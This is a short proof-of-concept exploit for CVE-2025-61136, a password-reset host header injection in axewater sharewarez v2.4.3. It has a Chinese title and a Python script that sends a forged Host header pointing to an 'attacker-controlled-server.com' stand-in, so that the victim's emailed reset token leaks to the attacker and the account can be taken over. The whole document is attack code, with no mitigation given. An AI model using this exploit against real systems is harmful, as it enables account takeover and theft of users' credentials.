CVE-2025-61136 axewater sharewarez v2.4.3 密码重置主机头注入漏洞

import requests # CVE-2025-61136 Password Reset Poisoning PoC # Target: axewater sharewarez v2.4.3 target_url = "http://target-server.com" attacker_server = "http://attacker-controlled-server.com" victim_email = "[email protected]" # Step 1: Send password reset request with malicious Host header endpoint = f"{target_url}/forgot-password" headers = { "Host": "attacker-controlled-server.com", # Malicious Host header "Content-Type": "application/x-www-form-urlencoded" } payload = {"email": victim_email} response = requests.post(endpoint, data=payload, headers=headers) print(f"[*] Password reset request sent to {victim_email}") print(f"[*] Response status: {response.status_code}") # Step 2: Attacker receives the reset link on their server # The victim will receive an email with a link like: # http://attacker-controlled-server.com/reset-password?token=XXX # Step 3: Once attacker captures the token, they can reset the password reset_endpoint = f"http://attacker-controlled-server.com/reset-password" print(f"[*] Attacker should set up listener on {reset_endpoint}")